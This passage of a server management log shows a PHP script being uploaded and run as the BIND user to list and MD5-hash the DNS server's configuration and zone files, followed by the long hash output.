	addEntry($current);
}

2026-04-24 11:44:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp404701; rm /tmp/pkp404701'

2026-04-24 11:44:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 11:44:24: Establishing a connection
2026-04-24 11:44:24: 

PUT: /tmp/pkp286237

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 11:44:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp286237; rm /tmp/pkp286237'

2026-04-24 11:44:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
